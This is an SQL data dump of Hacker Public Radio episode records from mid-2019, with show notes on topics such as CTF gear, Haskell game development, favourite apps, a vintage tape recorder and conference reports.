(2827,'2019-06-04','Unscripted ramblings from my garage about my first CTF event',832,'I briefly discss a CTF event I was invited to and what I plan to bring with me.','<h2 id=\"unscripted-ramblings-about-an-upcoming-ctf-event.\">Unscripted ramblings about an upcoming CTF event.</h2>\r\n<h3 id=\"hak5-items-mentioned-hak5.org\">Hak5 items mentioned (hak5.org):</h3>\r\n<ul>\r\n<li>WiFi Pineapple</li>\r\n<li>Bash Bunny (erroneously referred to as a ‘rabbit’)</li>\r\n<li>USB Rubber Ducky</li>\r\n<li>Packet Squirrel</li>\r\n<li>LAN Turtle (unmentioned but I’ll bring one)</li>\r\n</ul>\r\n<h3 id=\"software-mentioned\">Software mentioned:</h3>\r\n<ul>\r\n<li>MetaSploit: <a href=\"https://metasploit.com\">metasploit.com</a></li>\r\n<li>Ronin: <a href=\"https://ronin-ruby.github.io\">ronin-ruby.github.io</a></li>\r\n<li>Maltego: <a href=\"https://www.paterva.com/web7/\">www.paterva.com/web7/</a></li>\r\n<li>Burpsuite: <a href=\"https://portswigger.net/burp/\">portswigger.net/burp/</a></li>\r\n<li>SET: <a href=\"https://trustedsec.com/social-engineer-toolkit-set/\">trustedsec.com/social-engineer-toolkit-set/</a></li>\r\n<li>Parrot Linux: <a href=\"https://parrotsec.org\">parrotsec.org</a></li>\r\n</ul>\r\n<h3 id=\"my-info\">My info:</h3>\r\n<ul>\r\n<li>Chat with us on irc.freenode.net in #manor\r\n<ul>\r\n<li>More info at <a href=\"https://manor.space\" class=\"uri\">https://manor.space</a></li>\r\n</ul></li>\r\n<li>My little business: <a href=\"https://ascia.tech\" class=\"uri\">https://ascia.tech</a></li>\r\n<li>Email: <a href=\"mailto:cmhobbs@member.fsf.org\">cmhobbs@member.fsf.org</a>\r\n<ul>\r\n<li>1200 0808 F968 47AB F489 91A3 FE26 6FFB 1A77 0868</li>\r\n</ul></li>\r\n<li>Other shows by me (in case this one doesn’t get linked)\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" class=\"uri\">https://hackerpublicradio.org/correspondents.php?hostid=241</a></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>CTF: Capture the flag; <a href=\"https://en.wikipedia.org/wiki/Capture_the_flag_(disambiguation)\">Wikipedia disambiguation page</a>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wargame_(hacking)\">Cyber-security challenge</a></li>\r\n</ul></li>\r\n</ul>\r\n',241,0,0,'CC-BY-SA','ctf, hacking, security, infosec, events, conventions, gear',0,0,1),
(2833,'2019-06-12','Jeroen chats with Joep Piscaer',1176,'Interviewing Joep Piscaer during Loadays in Antwerpen, Belgium','<p>In this show an Interview with Joep Piscaer, recorded during the recent Loadays conference in Antwerpen, Belgium.</p>\r\n<p>Schedule of recent Loadays event: <a href=\"https://cfp.loadays.org/2019/schedule/\">https://cfp.loadays.org/2019/schedule/</a></p>\r\n<p>I mention the \"Cut the crap podcast\", made by Ryan Caligiuri.</p>\r\n<p>And specifically episode 145 as an excellent example of his podcast quality:</p>\r\n<p><a href=\"https://player.fm/series/the-cut-the-crap-show/ep-145-stronger-develop-the-resilience-you-need-to-succeed-with-dr-george-everly\">https://player.fm/series/the-cut-the-crap-show/ep-145-stronger-develop-the-resilience-you-need-to-succeed-with-dr-george-everly</a></p>\r\n<p>At the end of the podcast I a refer to the \"Follow your Gift\" talk, by Steve Harvey.</p>\r\n<p>You can find a recording of this talk on YouTube at <a href=\"https://www.youtube.com/watch?v=3x3rEg2qvcQ\">https://www.youtube.com/watch?v=3x3rEg2qvcQ</a></p>\r\n\r\n',369,78,0,'CC-BY-SA','loadays, ryan caligiuri, steve harvey',0,0,1),
(2834,'2019-06-13','My favorite desktop and android applications',1757,'Moving right along with shows from the requests list, I combine two program lists.','<p>Desktop:</p>\r\n<ul>\r\n<li>xfce4-terminal</li>\r\n<li>globaltime (orage)</li>\r\n<li>xfce4 notes</li>\r\n<li>thunar</li>\r\n<li>firefox</li>\r\n<li>Emacs</li>\r\n<li>claws-mail</li>\r\n<li>weechat</li>\r\n<li>mupdf</li>\r\n<li>gtk-redshift</li>\r\n<li>asunder</li>\r\n<li>keepassx</li>\r\n<li>lucky backup</li>\r\n<li>virtualbox/kvm</li>\r\n<li>xlog</li>\r\n<li>gpredict</li>\r\n<li>arduino ide</li>\r\n<li>tor browser bundle</li>\r\n<li>ledger wallet</li>\r\n<li>xmame</li>\r\n<li>freedoom</li>\r\n<li>rRootage</li>\r\n<li>dia</li>\r\n<li>fbreader</li>\r\n<li>gnumeric/libreoffice</li>\r\n<li>mandelbulber2</li>\r\n<li>gqrx</li>\r\n<li>transmission</li>\r\n<li>xastir</li>\r\n<li>youtube-dl gui</li>\r\n<li>zenmap</li>\r\n<li>mpv</li>\r\n</ul>\r\n<p>Android</p>\r\n<ul>\r\n<li>LineageOS</li>\r\n<li>built in phone</li>\r\n<li>signal</li>\r\n<li>built in fm radio</li>\r\n<li>built in camera</li>\r\n<li>2048</li>\r\n<li>acrylic paint</li>\r\n<li>amsatdroid free</li>\r\n<li>antennapod</li>\r\n<li>aprsdroid</li>\r\n<li>audiofx</li>\r\n<li>barcode scanner</li>\r\n<li>binaural beats</li>\r\n<li>blockinger</li>\r\n<li>blowtorch</li>\r\n<li>built in calendar</li>\r\n<li>call recorder</li>\r\n<li>chroma doze</li>\r\n<li>built in clock</li>\r\n<li>cloudlibrary</li>\r\n<li>built in contacts</li>\r\n<li>danmaku death</li>\r\n<li>echolink</li>\r\n<li>equate</li>\r\n<li>f-droid</li>\r\n<li>fbreader</li>\r\n<li>fennec f-droid</li>\r\n<li>red cross first aid</li>\r\n<li>flashlight</li>\r\n<li>freegal music</li>\r\n<li>gadgetbridge</li>\r\n<li>built in gallery</li>\r\n<li>ghost commander</li>\r\n<li>gobandroid</li>\r\n<li>hoopla</li>\r\n<li>iz2uuf morse code trainer</li>\r\n<li>libby</li>\r\n<li>lightning</li>\r\n<li>mobilinkd tnc</li>\r\n<li>mupdf</li>\r\n<li>netguard</li>\r\n<li>o’reilly</li>\r\n<li>orbot, orfox</li>\r\n<li>osmand~</li>\r\n<li>red cross pet first aid</li>\r\n<li>plumble</li>\r\n<li>propel graviton</li>\r\n<li>radiodroid (radio-browser.info)</li>\r\n<li>recorder</li>\r\n<li>roblox</li>\r\n<li>rpn</li>\r\n<li>sealnote</li>\r\n<li>sim card</li>\r\n<li>simple world clock</li>\r\n<li>space trader</li>\r\n<li>spotify</li>\r\n<li>suntimes, suntimes alarms</li>\r\n<li>survival manual</li>\r\n<li>termux</li>\r\n<li>timber</li>\r\n<li>tsumego pro</li>\r\n<li>ttrss-reader</li>\r\n<li>unifi</li>\r\n<li>vlc</li>\r\n<li>webtube</li>\r\n<li>weechat-android</li>\r\n<li>wifianalyzer</li>\r\n<li>wikipedia</li>\r\n<li>yalp store</li>\r\n<li>yorecast</li>\r\n</ul>\r\n',241,0,0,'CC-BY-SA','programs, linux, android, apps, applications, lists, favorites',0,0,1),
(2841,'2019-06-24','How I got into Linux (and then some...)',1864,'A response to the request for \"how i got into linux\" and a little of my history with Linux/BSD','<p>Basically what it says on the tin. Most distros I mention can be easily searched for. I meander through a discussion of how I got into Linux and where I am with it now.</p>',241,29,0,'CC-BY-SA','linux, intro, story, discourse, bsd',0,0,1),
(2858,'2019-07-17','Vehicle designer for a space game',1404,'tuturto talks about modeling vehicle designer for their space game','<p>This episode is about modeling vehicle designer that can be used to design all kinds of vehicles available in the game. It relates to episode about <a href=\"https://hackerpublicradio.org/eps.php?id=2818\">performing research</a>.</p>\r\n<h2 id=\"major-parts\">Major parts</h2>\r\n<p>Two major parts about vehicle designer are components and chassis.</p>\r\n<p>Components are modular pieces of vehicle that are assembled on chassis. They can, among other things, be things lie star sails, astrolabe navigators or long range sensor. Each component is defined by two values <code>ComponentId</code> and <code>ComponentLevel</code>. If you know these two values, you’ll be able to find out details of the component. <code>ComponentId</code> tells what component it is and <code>ComponentLevel</code> the general knowledge of it. When component is first discovered as a result of research, it’s just a prototype and as a such doesn’t function particularly well. Further research refines it and factories are able to produce higher quality components.</p>\r\n<p>Full definition of component is show below:</p>\r\n<pre><code>data Component = Component\r\n    { componentId :: ComponentId\r\n    , componentLevel :: ComponentLevel\r\n    , componentName :: ComponentName\r\n    , componentDescription :: ComponentDescription\r\n    , componentWeight :: Weight\r\n    , componentSlot :: ComponentSlot\r\n    , componentType :: [ ComponentPower ]\r\n    , componentCost :: RawResources ResourceCost\r\n    , componentChassisType :: ChassisType\r\n    }\r\n    deriving (Show, Read, Eq, Ord)</code></pre>\r\n<p>Two particularly interesting fields are <code>componentSlot</code> and <code>componentType</code>. <code>componentSlot</code> has type of <code>ComponentSlot</code> and defines what kind of slot the component occupies in chassis. As there are limited amount of slots in each chassis, designer needs to make compromises on what components to install. <code>componentType</code> has type of <code>ComponentPower</code>, which defines what component does in general. It could be sensor or provide supplies for the vehicle for example.</p>\r\n<p>Technology requirements are defined by function: <code>componentRequirements :: ComponentId -&gt; Maybe Technology</code>. It defines which technology unlock a given component. Part of the definition is show below. Each and every <code>ComponentId</code> has to be handled.</p>\r\n<pre><code>componentRequirements ShipLongRangeSensors = Just HighSensitivitySensors\r\ncomponentRequirements ShipBridge = Nothing\r\ncomponentRequirements VehicleWheeledMotiveSystem = Nothing\r\ncomponentRequirements VehicleHoverMotiveSystem = Just HoverCrafts\r\n...</code></pre>\r\n<p>Second major part of the designer are chassis. They’re stored in database, as I wanted a bit more flexible system than hardcoding as I did with components. Following piece of configuration is used to define database table and generated data for Haskell code. Most of the fields are probably easy enough to guess. <code>type</code> with type of <code>ChassisType</code> defines if this particular chassis is for example a land vehicle or a space ship. Various slot fields on other hand define amount of particular slots that the chassis offers.</p>\r\n<pre><code>Chassis json\r\n    name ChassisName\r\n    tonnage Weight\r\n    type ChassisType\r\n    technology Technology Maybe\r\n    armourSlots SlotAmount\r\n    innerSlots SlotAmount\r\n    outerSlots SlotAmount\r\n    sensorSlots SlotAmount\r\n    weaponSlots SlotAmount\r\n    engineSlots SlotAmount\r\n    motiveSlots SlotAmount\r\n    sailSlots SlotAmount\r\n    deriving Show Read Eq</code></pre>\r\n<p>Not all chassis are equal and some (probably pretty much every one of them) have some sort of requirements that has to be fulfilled when designing a vehicle. For example, space ships require a bridge for captain and star sails. Bawley, smallest of the working ships has room for two star sails, but requires only one of them to be installed in order to be a valid design. Flyboat on the other hand is smaller ship built for speed and always requires two set of sails.</p>\r\n<p>This data is stored in <code>required_component</code> table and represented as <code>RequiredComponent</code> data. Both are generated from the definition show below:</p>\r\n<pre><code>RequiredComponent json\r\n    chassisId ChassisId\r\n    componentType ComponentType\r\n    level ComponentLevel\r\n    amount ComponentAmount\r\n    deriving Show Read Eq</code></pre>\r\n<h2 id=\"designing-a-vehicle\">Designing a vehicle</h2>\r\n<p>With all that data, we can now design a vehicle. Process is roughly the following:</p>\r\n<ul>\r\n<li>based on completed research, get a list of chassis that are available</li>\r\n<li>select chassis from the list</li>\r\n<li>based on the selected chassis and completed research, get a list of components that are available</li>\r\n<li>select components to install</li>\r\n<li>remember to check that maximum tonnage isn’t exceeded and that there’s enough slots and requirements are met</li>\r\n<li>fill in name</li>\r\n<li>save into database</li>\r\n</ul>\r\n<p>Completed design is saved in two different tables. First one <code>design</code> holds info like name of the design, faction that design belongs to and used chassis. <code>planned_component</code> holds info about which components are planned to be installed and in what quantity.</p>\r\n<pre><code>Design json\r\n    name Text\r\n    ownerId FactionId\r\n    chassisId ChassisId\r\n    deriving Show Read Eq</code></pre>\r\n<p>and</p>\r\n<pre><code>PlannedComponent json\r\n    designId DesignId\r\n    componentId ComponentId\r\n    level ComponentLevel\r\n    amount ComponentAmount\r\n    deriving Show Read Eq</code></pre>\r\n<p>As a little teaser, below is an screenshot of what the vehicle designer currently looks like.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2858_1.png\" alt=\"Screenshot of vehicle designer showing chassis and components\" /></p>\r\n<h2 id=\"finally\">Finally</h2>\r\n<p>Thanks for interest. If you have questions or comments, best way to reach me nowadays is either by email or in fediverse, where I’m <code>tuturto@mastodon.social</code>.</p>\r\n',364,107,0,'CC-BY-SA','haskell',0,0,1),
(2859,'2019-07-18','2018-2019 New Years Eve show part 7',10714,'The HPR community comes together to say happy new year and chat','<h2>Hacker Public Radio New Years Show episode 7</h2>\r\n<p>Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019</p>\r\n<ul>\r\n<li>Trucking</li>\r\n<li>Patrick Stewart and Bret Spiner<br />\r\n<a href=\"https://www.youtube.com/watch?v=l5zQIKeh9B4\">https://www.youtube.com/watch?v=l5zQIKeh9B4</a><br />\r\n<a href=\"https://www.youtube.com/watch?v=EvJ7xR4D1ZI\">https://www.youtube.com/watch?v=EvJ7xR4D1ZI</a></li>\r\n<li>Self Defense</li>\r\n<li>The origin of Irish coffee</li>\r\n<li>Calendars</li>\r\n<li>Sleep</li>\r\n<li>The Pine Book<br />\r\n<a href=\"https://www.pine64.org/pinebook/\">https://www.pine64.org/pinebook/</a></li>\r\n<li>Guns</li>\r\n<li>Tanks</li>\r\n<li>AmazFit Bip<br />\r\n<a href=\"https://us.amazfit.com/shop/bip?variant=336750\">https://us.amazfit.com/shop/bip?variant=336750</a></li>\r\n<li>Canes</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR new years show, new years, community',0,0,1),
(2842,'2019-06-25','What\'s in my Bag an update to hpr2065',225,'This is a short update show on what I carry in my Geek Bag','<p>Hello HPR land, this is Tony Hughes again coming to you from Blackpool in the UK.</p>\r\n<p>During my last episode, which was my 50th for HPR, I realized that my ‘Bag’ has changed considerably since recording my episode hpr2065 about it back in July 2016. So this is an update on what I currently carry in my ‘Geek’ Bag when out and about.</p>\r\n<p>I have several laptops which are used for different things at different times so may or may not be in the bag/bags depending on what I am doing. This is the list:</p>\r\n<ul>\r\n<li>Lenovo X230i</li>\r\n<li>Toshiba z30</li>\r\n<li>Dells E6220 x 2, E7250, E7440 and E6540</li>\r\n</ul>\r\n<p>Recently I have moved more to Dell laptops and the Dell E7440 is a great compromise of portability and usability with its 14&quot; 1080p screen, but if I want light and long battery life the Toshiba z30 is a fantastic little PC with all day battery life and a great 13.3&quot; screen.</p>\r\n<p>But all the others have their place in the bag, for demonstrating Linux Distros at events or at my LUG.</p>\r\n<p>So the next thing that makes it into the bag is my ZoomH2 recorder that goes with me for recording interviews at events I attend, with the intention of producing HPR shows.</p>\r\n<p>I also have some tools, the first is a little set of a screwdriver and small driver bits made by Draper this is handy for laptop tear downs as it has all the necessary bit heads needed to work on electronics. I also carry a small set of pliers and a wire cutter in the bag.</p>\r\n<p>I also carry a 10000mA battery pack for charging my mobile phone if needed while out and about. In conjunction with this a I carry several micro USB charging cables and a USB C cable for the increasing number of USB C devices around these days.</p>\r\n<p>In the bag are also a couple of 128Gb SSD’s as spares for quick swap outs, if I don’t want to wipe a drive but wish to test a new OS, or for those times the only solution to helping someone rescue an older laptop is to stick an SSD into it.</p>\r\n<p>I generally carry my 1Tb portable USB3 HDD around with me as I store a large number of current Linux ISO files for burning to a flash drive to create boot discs. With that it goes without saying that I have a few spare flash drives in the bag for just this use. I also usually carry a few SD cards for creating Raspberry Pi images if needed.</p>\r\n<p>Other items include a USB WiFi card as a backup if I have a WiFi malfunction, or I’m working on a machine without its own WiFi card.</p>\r\n<p>Well that’s about it for what I’m currently carrying in my bag, but before I go a bit of sad news. Many of you have heard me talk of my latest bargains from the Computer Auction I have frequented since 2006. Well sadly NO MORE, Northern Realisations after 20 years of trading have closed their doors for the last time, so I need to find another source of cheap PC equipment. As they say: <em>All good things come to an end</em>.</p>\r\n<p>Well that’s it for this episode, this is Tony Hughes signing off for Hacker Public Radio.</p>\r\n<ul>\r\n<li><p><a href=\"https://www.keithstead.com/and_more/reviews/zoomh2.html\" class=\"uri\">https://www.keithstead.com/and_more/reviews/zoomh2.html</a></p></li>\r\n<li><p><a href=\"https://www.realnorth.co.uk/\" class=\"uri\">https://www.realnorth.co.uk/</a></p></li>\r\n</ul>\r\n',338,0,0,'CC-BY-SA','Linux, PC\'s, Laptops, Geek Bag',0,0,1),
(2847,'2019-07-02','earbuds',902,'My trials with earbuds and custom setups','<p>operat0r discusses his trials with earbuds and custom setups.</p>',36,0,0,'CC-BY-SA','earbuds,hacking,music,diy',0,0,1),
(2856,'2019-07-15','Mint Mobile Security Rant',1185,'Settle in for a Mint Mobile Security Rant ','<p>\r\nYou can also use call forwarding to forward calls to your google voice number. Mint does not seem to stay connected all the time.\r\n</p>',36,0,1,'CC-BY-SA','Mint Mobile,ANdroid,Phones,4G,VoIP,google voice',0,0,1),
(2861,'2019-07-22','Safety Razors',870,'I go over some of my thoughts on Safety Razors Etc','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B01859QHJU/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1\" class=\"uri\">https://smile.amazon.com/gp/product/B01859QHJU/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1</a></li>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B01M2Y82H8/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1\" class=\"uri\">https://smile.amazon.com/gp/product/B01M2Y82H8/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1</a></li>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B000684Z70/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;th=1\" class=\"uri\">https://smile.amazon.com/gp/product/B000684Z70/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;th=1</a></li>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B0022RB080/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1\" class=\"uri\">https://smile.amazon.com/gp/product/B0022RB080/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1</a></li>\r\n</ul>\r\n',36,0,0,'CC-BY-SA','shaving,safety,razor,health,grooming',0,0,1),
(2886,'2019-08-26','INFOSECOND',1136,'Thoughts around IT and Information Security','<p>\r\nIn todays show, operat0r shares his personal thoughts around information security and getting into the field. He also talks about ways to get support from your local community.\r\n</p>',36,0,1,'CC-BY-SA','information security,careers',0,0,1),
(2853,'2019-07-10','Feeding the beast',424,'How the swedes are killing their hardcash and feeding the beast','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.bankid.com/\" class=\"uri\">https://www.bankid.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Swish_(payment)\" class=\"uri\">https://en.wikipedia.org/wiki/Swish_(payment)</a></li>\r\n</ul>',309,0,0,'CC-BY-SA','bankid, swish, cash, payment, digitalization, sweden',0,0,1),
(2839,'2019-06-20','Sample episode of the Distrohoppers Digest podcast',2231,'We bring you the first episode of the new Creative Commons show the Distrohoppers Digest','<p>\r\nThis is a sample episode of the new Creative Commons tech podcast. It\'s brought to us by Moss and our own <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">Tony Hughes</a>. From the blurb:\r\n</p>\r\n\r\n<quote>\r\nWe are two Blokes who love Linux and trying out new stuff, we thought it would be interesting to share our experience of trying new Linux and BSD distributions and how we found it trying to live with them as our daily driver for up to a Month at a time, by recording a podcast about how we got on.\r\n</quote>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://distrohoppersdigest.blogspot.com/\">https://distrohoppersdigest.blogspot.com/</a></li>\r\n<li><a href=\"https://distrohoppersdigest.blogspot.com/feeds/posts/default\">https://distrohoppersdigest.blogspot.com/feeds/posts/default</a></li>\r\n<li><a href=\"https://distrohoppersdigest.blogspot.com/feeds/posts/default?alt=rss\">https://distrohoppersdigest.blogspot.com/feeds/posts/default?alt=rss</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">https://hackerpublicradio.org/correspondents.php?hostid=338</a></li>\r\n<li><a href=\"https://mintcast.org/\">https://mintcast.org/</a></li>\r\n</ul>',30,0,0,'CC-BY-NC-SA','Distrohoppers Digest, mintCast, linux, bsd',0,0,1),
(2844,'2019-06-27','The Sony TC-222-A Portable Reel-To-Reel Tape Recorder',1868,'I talk about my latest thrift-store gadget, a 1969 Sony portable reel-to-reel tape recorder','<p>In this episode I talk about my new 1969 <a href=\"https://flic.kr/s/aHsmEcunXZ\" target=\"_blank\">Sony TC-222-A</a> portable reel-to-reel tape recorder. I found it about 3 weeks ago at <a href=\"https://www.handupthrift.com/\" target=\"_blank\">Hand-Up Thrift store</a> in Lafayette Louisiana for $5. It was in partially working condition, without a power cord, and in need of some work. I cleaned the contact points, overhauled the fast-forward idler wheel, lubricated both of the tape shafts, replaced the belts, hacked an old electric razor cord to work as a power cord, and tightened up the record linkage. One thing I still can\'t get working is recording using the microphone.</p>\r\n\r\n<p>I spend about half of this episode talking about trying to make a super-long recording fit on a 5-inch reel and playing at 4.8 cm/second. I use Kimiko Ishizaka\'s wonderful <a href=\"https://kimiko-piano.com/open-goldberg\" target=\"_blank\">Open Goldberg Variations</a> and <a href=\"https://music.kimiko-piano.com/album/bach-well-tempered-clavier-book-1\" target=\"_blank\">Open Well-Tempered Clavier</a> as the music. To do this, I speeded up all of the tracks to play at 4x speed, for which I use the following script to loop through all mp3s in the current directory and subject them to the appropriate <a href=\"https://linux.die.net/man/1/sox\" target=\"_blank\">sox</a> command:</p>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\nfor i in *.mp3; do\r\n# speed em up 4x\r\n  infile=$(basename $i)\r\n  stem=$(basename \"$i\" .mp3)\r\n  outfile=\"$stem\"_4x.mp3\r\n  sox $infile $outfile speed 4.0\r\n  sleep .1\r\ndone\r\n</pre>\r\n\r\n<p>It worked! Well. The script and <code>sox</code> command worked. Recording the 4x-speed audio at 19 cm/second and then playing back at 4.8 cm/second also mostly worked, I just had a very poor-quality tape so it sounded pretty bad. The speed was just about right, though. In fact when I compared pitch against my piano, it was EXACTLY right. I may try again with a better tape. (BTW I said my tape was \"old new stock,\" but obviously I meant \"new old stock.\")</p>\r\n\r\n<h3>Photo Album (click image)</h3>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157709041025907\" title=\"Sony TC-222-A Portable Reel-to-Reel Tape Recorder\"><img src=\"https://live.staticflickr.com/65535/48046250816_552453ece7.jpg\" width=\"500\" height=\"375\" alt=\"Sony TC-222-A Portable Reel-to-Reel Tape Recorder\"></a></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Video: <a href=\"https://www.youtube.com/watch?v=52BbX_aP1sQ\" target=\"_blank\">The Sony TC-222-A in action</a></li>\r\n	<li><a href=\"https://www.youtube.com/user/Techmoan\" target=\"_blank\">Techmoan</a>: one of my favorite YouTube channels</li>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\" target=\"_blank\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\" target=\"_blank\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n	<li><a href=\"https://www.vintage-electronics.net/\" target=\"_blank\">Vintage Electronics</a>, my source for replacement belts, replacement lamps for my Marantz receiver, etc. </li>\r\n</ul>',238,0,0,'CC-BY-SA','Music,Recording,Audio,Tape,Reel-To-Reel,Open-Reel,Recording Devices,Tape Speeds,Bash Scripting',0,0,1),
(2843,'2019-06-26','Afrikan Tähti (or Star of Africa)',678,'tuturto talks about one of the most important Finnish board game ever','<p>For more information about the game and history behind it, have a look at the following links:</p>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Afrikan_t%C3%A4hti\">https://en.wikipedia.org/wiki/Afrikan_t%C3%A4hti</a></li>\r\n<li>Board Game Geek: <a href=\"https://www.boardgamegeek.com/boardgame/5130/afrikan-tahti\" class=\"uri\">https://www.boardgamegeek.com/boardgame/5130/afrikan-tahti</a></li>\r\n</ul>\r\n',364,95,0,'CC-BY-SA','finnish, childhood favourite',0,0,1),
(2851,'2019-07-08','An introduction to the work of fire fighters',1847,'A small introduction into the work of fire fighters ','<p>Some general basic knowledge of fire fighting. Also an invitation to ask questions in the comments.</p>',369,0,0,'CC-BY-SA','fire fighting, fire brigade',0,0,1),
(2868,'2019-07-31','Custom data with Persistent',1202,'tuturto explains how to serialize custom data with Persistent','<p>Podcast episode is about two things, serializing custom data with Persistent and <code>IsString</code> typeclass.</p>\r\n<p>I’m using Persistent in conjunction with Yesod (web framework). Process in short is that data is defined in <code>/config/models</code> file that is used in compile time to generate data type definitions for Haskell. Same information is used to create schema for the database when Yesod application starts. It can even do simple migrations if schema changes, but I wouldn’t recommend using that in production.</p>\r\n<p>Persistent maps information between database and program written in Haskell. There’s pre-existing mappings for things like text and various kinds of numbers. In case one wants to use custom data type, compiler can automatically generate needed mapping. This automatic generation works well with enumerations and very complex data.</p>\r\n<p>For example, following piece defines enumeration <code>BuildingType</code> that is mapped in <code>varchar</code> field in database. Enumeration is thus stored as text.</p>\r\n<pre><code>data BuildingType = SensorStation\r\n    | ResearchComplex\r\n    | Farm\r\n    | ParticleAccelerator\r\n    | NeutronDetector\r\n    | BlackMatterScanner\r\n    | GravityWaveSensor\r\n    deriving (Show, Read, Eq)\r\n\r\nderivePersistField &quot;BuildingType&quot;</code></pre>\r\n<p>For newtypes, automatic deriving works too, but generates (in my opinion) extra information that isn’t needed. This extra information causes data saved as text. For those cases, manual mapping can be used.</p>\r\n<p>Our example is for <code>StarDate</code>, which is just glorified <code>Int</code>. I’m using newtype to make <code>StarDate</code> distinct from any other <code>Int</code>, even when it behaves just like <code>Int</code>.</p>\r\n<pre><code>newtype StarDate = StarDate { unStarDate :: Int }\r\n    deriving (Show, Read, Eq, Num, Ord)\r\n\r\ninstance PersistField StarDate where\r\n    toPersistValue (StarDate n) =\r\n        PersistInt64 $ fromIntegral n\r\n\r\n    fromPersistValue (PersistInt64 n) =\r\n        Right $ StarDate $ fromIntegral n\r\n\r\n    fromPersistValue _ =\r\n        Left &quot;Failed to deserialize&quot;\r\n\r\n\r\ninstance PersistFieldSql StarDate where\r\n    sqlType _ = SqlInt64</code></pre>\r\n<p>One more trick, that doesn’t directly relate to Persistent is <code>IsString</code> type class. Instead of having to specify all the time what type text literal is, one can let compiler to deduce it from usage.</p>\r\n<p>For example, if I had a newtype like:</p>\r\n<pre><code>newtype PlanetName = PlanetName { unPlanetName :: Text }</code></pre>\r\n<p>I can turn on OverloadedStrings pragma and create <code>IsString</code> instance:</p>\r\n<pre><code>instance IsString PlanetName where\r\n    fromString = PlanetName . fromString</code></pre>\r\n<p>Now I can write: <code>placeName = &quot;Earth&quot;</code> instead of <code>placeName = PlanetName &quot;Earth&quot;</code> and compiler can deduce correct type based on how the <code>placeName</code> is used.</p>\r\n<p>Thanks for listening, if you have any questions or comments, you can reach me via email or in the fediverse, where I’m <code>tuturto@mastodon.social</code>.</p>\r\n',364,107,0,'CC-BY-SA','haskell, persistent, database',0,0,1),
(2890,'2019-08-30','Penguicon 2019 Report',843,'Penguicon 2019 took place on May 3-5, 2018 in Southfield, Michigan','<p>Penguicon 2019 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I tell you about my own personal experience at Penguicon this year.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://2019.penguicon.org/\" class=\"uri\">https://2019.penguicon.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Saladin_Ahmed\" class=\"uri\">https://en.wikipedia.org/wiki/Saladin_Ahmed</a></li>\r\n<li><a href=\"https://www.mikeymason.com/\" class=\"uri\">https://www.mikeymason.com/</a></li>\r\n<li><a href=\"https://zedshaw.com/\" class=\"uri\">https://zedshaw.com/</a></li>\r\n<li><a href=\"https://www.facebook.com/CraftyCelts/posts/d41d8cd9/233607537127/\" class=\"uri\">https://www.facebook.com/CraftyCelts/posts/d41d8cd9/233607537127/</a></li>\r\n<li><a href=\"https://www.sophiabrueckner.com/\" class=\"uri\">https://www.sophiabrueckner.com/</a></li>\r\n<li><a href=\"https://www.facebook.com/public/Karen-Corbeill\" class=\"uri\">https://www.facebook.com/public/Karen-Corbeill</a></li>\r\n<li><a href=\"https://www.youtube.com/playlist?list=PLwO8CTSLTkii9S_vhEOsyJ17RI3jjBZ95\" class=\"uri\">https://www.youtube.com/playlist?list=PLwO8CTSLTkii9S_vhEOsyJ17RI3jjBZ95</a></li>\r\n<li><a href=\"https://www.allhandsactive.org/\" class=\"uri\">https://www.allhandsactive.org/</a></li>\r\n<li><a href=\"https://www.zwilnik.com\" class=\"uri\">https://www.zwilnik.com</a></li>\r\n</ul>\r\n',198,96,0,'CC-BY-SA','Penguicon, Open Source, Convention',0,0,1),
